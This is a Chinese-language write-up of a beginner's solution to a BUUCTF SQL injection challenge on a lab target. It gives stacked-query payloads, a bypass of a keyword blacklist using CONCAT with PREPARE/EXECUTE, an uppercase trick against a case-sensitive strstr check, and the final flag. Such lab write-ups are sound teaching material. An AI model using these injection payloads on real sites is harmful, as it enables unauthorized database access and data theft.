BUUCTF [强网杯 2019]随便注

被浏览

学长给我们留的入门题,作为新手的我还是写个题解纪念一下自己的第一道 CTF 题,顺便猜测一下后端的代码。

前置准备

进入靶机,发现已经给我们填充好了 1,直接点提交试试。

响应的 Headers 为:

1
2
3
4
5
6
7
8
Connection: keep-alive
Content-Type: text/html; charset=UTF-8
Date: Thu, 21 Oct 2021 11:42:42 GMT
Keep-Alive: timeout=4
Proxy-Connection: keep-alive
Server: openresty
Transfer-Encoding: chunked
X-Powered-By: PHP/7.3.10

由此可知后台是 PHP 驱动的。

网页回显为:

1
2
3
4
5
6
array(2) {
[0]=>
string(1) "1"
[1]=>
string(7) "hahahah"
}

注意到第一个字段的数据类型为 string,猜测为字符型注入,尝试输入 1',果然报错了,初步判断后端代码应类似 $sql = "select * from table_name where id='".$_GET['id']."';";。构造 payload:1';show databases;#,发现有输出,验证了之前的想法。

得到的数据库列表:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
array(1) {
[0]=>
string(11) "ctftraining"
}

array(1) {
[0]=>
string(18) "information_schema"
}

array(1) {
[0]=>
string(5) "mysql"
}

array(1) {
[0]=>
string(18) "performance_schema"
}

array(1) {
[0]=>
string(9) "supersqli"
}

array(1) {
[0]=>
string(4) "test"
}

绕过关键字过滤

但是想查看当前库名的时候遇到了困难。

我们输入 ';select database();#,网页回显 return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);,说明对输入进行了不区分大小写的关键词正则匹配过滤。

但是我们有预处理!我们可以定义字符串并将其预处理后运行来达到目的。

既然有关键词过滤,我们就把它拆开来,利用 CONCAT 拼接后执行。

于是我们构造以下 payload:';set @s=concat('s','elect database()');prepare st from @s;execute st;#

结果回显如下:strstr($inject, "set") && strstr($inject, "prepare")

好家伙,连这个都过检测了。但是转念一想,PHP 中的 strstr 函数是区分大小写的,而 SQL 语句是不区分大小写的,那我岂不是把语句全转为大写即可了?

将 payload 稍加修改:';SET @s=CONCAT('S','ELECT DATABASE()');PREPARE st FROM @s;EXECUTE st;#.

得到当前数据库名称:

1
2
3
4
array(1) {
[0]=>
string(9) "supersqli"
}

寻找 FLAG

还记得我们一开始拿到的数据库表吗,里面有个叫 ctftraining 的数据库。

payload:';show tables from ctftraining;#

发现里面有个叫 FLAG_TABLE 的数据表,直觉告诉我 FLAG 一定在里面,胜利就在眼前。

payload:';use ctftraining;SET @s=CONCAT('S','ELECT * FROM FLAG_TABLE');PREPARE st FROM @s;EXECUTE st;#

结果却发现这个表是空的??

不信邪的我查看了这个库下的所有的表,终于在 news 表下发现了这条信息:

1
2
3
4
5
6
7
8
9
10
11
...
array(4) {
[0]=>
string(1) "4"
[1]=>
string(4) "flag"
[2]=>
string(37) "Flag is in the database but not here."
[3]=>
string(10) "1571838684"
}

搞半天结果这里是陷阱?真是吐血。

挨个排查后,发现 FLAG 在最开始默认加载的 supersqli 库里,可谓是“踏破铁鞋无觅处,得来不全费工夫”。

最后的 payload:';SET @s=CONCAT('S','ELECT * FROM `1919810931114514`');PREPARE st FROM @s;EXECUTE st;#

得到的 flag:

1
2
3
4
array(1) {
[0]=>
string(42) "flag{d29252e4-78f4-4a9a-a01b-ab2f8a5389fc}"
}